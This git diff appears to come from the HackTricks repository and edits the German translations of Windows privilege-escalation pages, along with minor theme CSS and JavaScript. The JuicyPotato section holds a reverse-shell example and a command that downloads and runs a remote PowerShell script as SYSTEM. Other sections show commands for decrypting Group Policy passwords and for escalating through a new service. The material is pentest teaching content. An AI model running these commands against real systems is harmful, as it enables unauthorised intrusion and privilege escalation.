Suchen Sie in `C:\ProgramData\Microsoft\Group Policy\history` oder in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (vor W Vista)_ nach diesen Dateien:
@ -996,7 +996,7 @@ Suchen Sie in `C:\ProgramData\Microsoft\Group Policy\history` oder in _**C:\Docu
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
```
Verwendung von crackmapexec zum Abrufen der Passwörter:
Verwendung von crackmapexec, um die Passwörter zu erhalten:
```bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
```
@ -1157,7 +1157,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### Browserverlauf
Sie sollten nach Datenbanken suchen, in denen Passwörter von **Chrome oder Firefox** gespeichert sind.\
Überprüfen Sie auch den Verlauf, die Lesezeichen und Favoriten der Browser, da dort möglicherweise einige **Passwörter gespeichert sind**.
Überprüfen Sie auch den Verlauf, Lesezeichen und Favoriten der Browser, da dort möglicherweise einige **Passwörter gespeichert sind**.
Tools zum Extrahieren von Passwörtern aus Browsern:
@ -1168,7 +1168,7 @@ Tools zum Extrahieren von Passwörtern aus Browsern:
### **COM DLL Überschreibung**
**Component Object Model (COM)** ist eine Technologie, die im Windows-Betriebssystem integriert ist und die **Interkommunikation** zwischen Softwarekomponenten verschiedener Sprachen ermöglicht. Jede COM-Komponente wird **über eine Klassen-ID (CLSID)** identifiziert, und jede Komponente bietet Funktionalität über eine oder mehrere Schnittstellen, die über Schnittstellen-IDs (IIDs) identifiziert werden.
**Component Object Model (COM)** ist eine Technologie, die im Windows-Betriebssystem integriert ist und die **Interkommunikation** zwischen Softwarekomponenten verschiedener Sprachen ermöglicht. Jede COM-Komponente wird über eine Klassen-ID (CLSID) **identifiziert** und jede Komponente bietet Funktionalität über eine oder mehrere Schnittstellen an, die über Schnittstellen-IDs (IIDs) **identifiziert** werden.
COM-Klassen und -Schnittstellen sind in der Registry unter **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** und **HKEY\_**_**CLASSES\_**_**ROOT\Interface** definiert. Diese Registry wird erstellt, indem **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** zusammengeführt wird.
@ -1178,7 +1178,7 @@ Innerhalb der CLSIDs dieser Registry finden Sie die untergeordnete Registry **In
Im Grunde genommen, wenn Sie **eine der DLLs überschreiben können**, die ausgeführt werden sollen, könnten Sie **Privilegien eskalieren**, wenn diese DLL von einem anderen Benutzer ausgeführt wird.
Um zu erfahren, wie Angreifer COM Hijacking als Persistenzmechanismus nutzen, überprüfen Sie:
Um zu erfahren, wie Angreifer COM-Hijacking als Persistenzmechanismus verwenden, überprüfen Sie:
{{#ref}}
com-hijacking.md
@ -1208,7 +1208,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
### Tools, die nach Passwörtern suchen
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf** Plugin, das ich erstellt habe, um **automatisch jedes Metasploit POST-Modul auszuführen, das nach Anmeldeinformationen** im Opfer sucht.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die Passwörter enthalten, die auf dieser Seite erwähnt werden.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die auf dieser Seite erwähnte Passwörter enthalten.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um Passwörter aus einem System zu extrahieren.
Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) sucht nach **Sitzungen**, **Benutzernamen** und **Passwörtern** mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY und RDP).
@ -1301,7 +1301,7 @@ Sie haben alle notwendigen Dateien und Informationen im folgenden GitHub-Reposit
https://github.com/jas502n/CVE-2019-1388
## Vom Administrator Medium zu High Integrity Level / UAC Bypass
## Von Administrator Medium zu High Integrity Level / UAC Bypass
Lesen Sie dies, um **über Integritätsstufen zu lernen**:
@ -1309,7 +1309,7 @@ Lesen Sie dies, um **über Integritätsstufen zu lernen**:
integrity-levels.md
{{#endref}}
Lesen Sie dann **dies, um über UAC und UAC-Umgehungen zu lernen:**
Lesen Sie dann **dies, um über UAC und UAC-Bypässe zu lernen:**
{{#ref}}
../authentication-credentials-uac-and-efs/uac-user-account-control.md
@ -1319,7 +1319,7 @@ Lesen Sie dann **dies, um über UAC und UAC-Umgehungen zu lernen:**
### **Neuer Dienst**
Wenn Sie bereits in einem High Integrity-Prozess laufen, kann der **Übergang zu SYSTEM** einfach sein, indem Sie **einen neuen Dienst erstellen und ausführen**:
Wenn Sie bereits auf einem High Integrity-Prozess laufen, kann der **Übergang zu SYSTEM** einfach sein, indem Sie **einen neuen Dienst erstellen und ausführen**:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
@ -1352,19 +1352,21 @@ Wenn es Ihnen gelingt, eine **dll** zu **hijacken**, die von einem **Prozess** a
### **Von Administrator oder Netzwerkdienst zu System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### Von LOCAL SERVICE oder NETWORK SERVICE zu vollständigen Berechtigungen
**Lesen:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
## Mehr Hilfe
## Weitere Hilfe
[Statische Impacket-Binärdateien](https://github.com/ropnop/impacket_static_binaries)
## Nützliche Werkzeuge
## Nützliche Tools
**Das beste Tool, um nach Windows-Privilegieneskalationsvektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**Das beste Tool zur Suche nach Windows-Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS**
@ -1391,7 +1393,7 @@ Wenn es Ihnen gelingt, eine **dll** zu **hijacken**, die von einem **Prozess** a
**Bat**
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool, das auf diesem Beitrag basiert (es benötigt keinen accesschk, um ordnungsgemäß zu funktionieren, kann ihn aber verwenden).
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool, das auf diesem Beitrag basiert (es benötigt keinen accesschk, um richtig zu funktionieren, kann ihn aber verwenden).
**Local**

19
src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato funktioniert nicht** auf Windows Server 2019 und Windows 10 Build 1809 und höher. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) verwendet werden, um **die gleichen Berechtigungen zu nutzen und Zugriff auf `NT AUTHORITY\SYSTEM`** zu erhalten. _**Überprüfen:**_
> [!WARNING] > **JuicyPotato funktioniert nicht** auf Windows Server 2019 und Windows 10 Build 1809 und höher. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) verwendet werden, um **die gleichen Berechtigungen zu nutzen und Zugriff auf `NT AUTHORITY\SYSTEM`** zu erhalten. _**Überprüfen:**_
{{#ref}}
roguepotato-and-printspoofer.md
@ -39,7 +38,7 @@ JuicyPotato ermöglicht Ihnen:
- **Ziel-CLSID** _wählen Sie jede CLSID, die Sie möchten._ [_Hier_](http://ohpe.it/juicy-potato/CLSID/) _finden Sie die Liste, die nach OS organisiert ist._
- **COM-Listening-Port** _definieren Sie den bevorzugten COM-Listening-Port (anstatt des marshallierten fest codierten 6666)_
- **COM-Listening-IP-Adresse** _binden Sie den Server an eine beliebige IP_
- **COM-Listening-IP-Adresse** _binden Sie den Server an jede IP_
- **Prozess-Erstellungsmodus** _je nach Berechtigungen des impersonierten Benutzers können Sie wählen zwischen:_
- `CreateProcessWithToken` (benötigt `SeImpersonate`)
- `CreateProcessAsUser` (benötigt `SeAssignPrimaryToken`)
@ -71,17 +70,17 @@ Optional args:
[**Aus juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
Wenn der Benutzer die Berechtigungen `SeImpersonate` oder `SeAssignPrimaryToken` hat, dann sind Sie **SYSTEM**.
Wenn der Benutzer `SeImpersonate` oder `SeAssignPrimaryToken` Berechtigungen hat, dann sind Sie **SYSTEM**.
Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Sie könnten darüber nachdenken, die Berechtigungen dieser Objekte über `DCOMCNFG` zu ändern, aber viel Glück, das wird herausfordernd sein.
Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den `* SERVICE`-Konten ausgeführt werden. Das Stoppen von `DCOM` würde dieses Exploit sicherlich verhindern, könnte jedoch erhebliche Auswirkungen auf das zugrunde liegende Betriebssystem haben.
Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den `* SERVICE` Konten ausgeführt werden. Das Stoppen von `DCOM` würde dieses Exploit sicherlich verhindern, könnte jedoch erhebliche Auswirkungen auf das zugrunde liegende Betriebssystem haben.
Von: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## Beispiele
Hinweis: Besuchen Sie [diese Seite](https://ohpe.it/juicy-potato/CLSID/), um eine Liste von CLSIDs auszuprobieren.
Hinweis: Besuchen Sie [diese Seite](https://ohpe.it/juicy-potato/CLSID/) für eine Liste von CLSIDs, die Sie ausprobieren können.
### Erhalten Sie eine nc.exe Reverse-Shell
```
@ -100,7 +99,7 @@ c:\Users\Public>
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### Starte ein neues CMD (wenn du RDP-Zugriff hast)
### Starte eine neue CMD (wenn du RDP-Zugriff hast)
![](<../../images/image (300).png>)
@ -108,7 +107,9 @@ c:\Users\Public>
Oft funktioniert der Standard-CLSID, den JuicyPotato verwendet, **nicht** und der Exploit schlägt fehl. In der Regel sind mehrere Versuche erforderlich, um einen **funktionierenden CLSID** zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, solltest du diese Seite besuchen:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **Überprüfen von CLSIDs**
@ -116,7 +117,7 @@ Zuerst benötigst du einige ausführbare Dateien neben juicypotato.exe.
Lade [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) herunter und lade es in deine PS-Sitzung, und lade [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) herunter und führe es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs, die getestet werden können.
Lade dann [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) herunter (ändere den Pfad zur CLSID-Liste und zur juicypotato-executablen Datei) und führe es aus. Es wird versuchen, jede CLSID zu testen, und **wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat**.
Lade dann [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) herunter (ändere den Pfad zur CLSID-Liste und zur juicypotato ausführbaren Datei) und führe es aus. Es wird versuchen, jede CLSID zu testen, und **wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat**.
**Überprüfe** die funktionierenden CLSIDs **mit dem Parameter -c**

19
theme/css/chrome.css
View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle {
position: relative;
}
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar,
.menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
z-index: 101;
z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);

6
theme/css/variables.css
View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%);
--table-alternate-bg: hsl(226, 23%, 14%);
--table-header-bg: #2f2f2f;
--table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%);
--table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;

7
theme/index.hbs
View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div>
</div>
</div>

2
theme/pagetoc.css
View File

@ -72,7 +72,7 @@
.sidetoc-wrapper {
position: fixed;
width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto;
display: flex;
flex-direction: column;

96
theme/pagetoc.js
View File

@ -1,68 +1,76 @@
let scrollTimeout;
let scrollTimeout
const listenActive = () => {
const elems = document.querySelector(".pagetoc").children;
[...elems].forEach(el => {
const elems = document.querySelector(".pagetoc").children
;[...elems].forEach((el) => {
el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout);
[...elems].forEach(el => el.classList.remove("active"));
el.classList.add("active");
clearTimeout(scrollTimeout)
;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active")
// Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => {
scrollTimeout = null;
}, 100); // Adjust timing as needed
});
});
};
scrollTimeout = null
}, 100) // Adjust timing as needed
})
})
}
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main");
const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), {
className: "content-wrap"
});
content.append(...main.childNodes);
main.prepend(content);
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
return document.querySelector(".pagetoc");
};
className: "content-wrap",
})
content.append(...main.childNodes)
main.prepend(content)
main.insertAdjacentHTML(
"afterbegin",
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")];
const scrolledY = window.scrollY;
let lastHeader = null;
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY
let lastHeader = null
// Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i];
break;
lastHeader = headers[i]
break
}
}
const pagetocLinks = [...document.querySelector(".pagetoc").children];
pagetocLinks.forEach(link => link.classList.remove("active"));
const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
if (activeLink) activeLink.classList.add("active");
const activeLink = pagetocLinks.find(
(link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
}
};
}
window.addEventListener('load', () => {
const pagetoc = getPagetoc();
const headers = [...document.getElementsByClassName("header")];
headers.forEach(header => {
window.addEventListener("load", () => {
const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]
headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), {
textContent: header.text,
href: header.href,
className: `pagetoc-${header.parentElement.tagName}`
});
pagetoc.appendChild(link);
});
updateFunction();
listenActive();
window.addEventListener("scroll", updateFunction);
});
className: `pagetoc-${header.parentElement.tagName}`,
})
if (header.parentElement.querySelectorAll("a").length === 2) {
link.textContent = header.parentElement.querySelectorAll("a")[1].text
}
pagetoc.appendChild(link)
})
updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})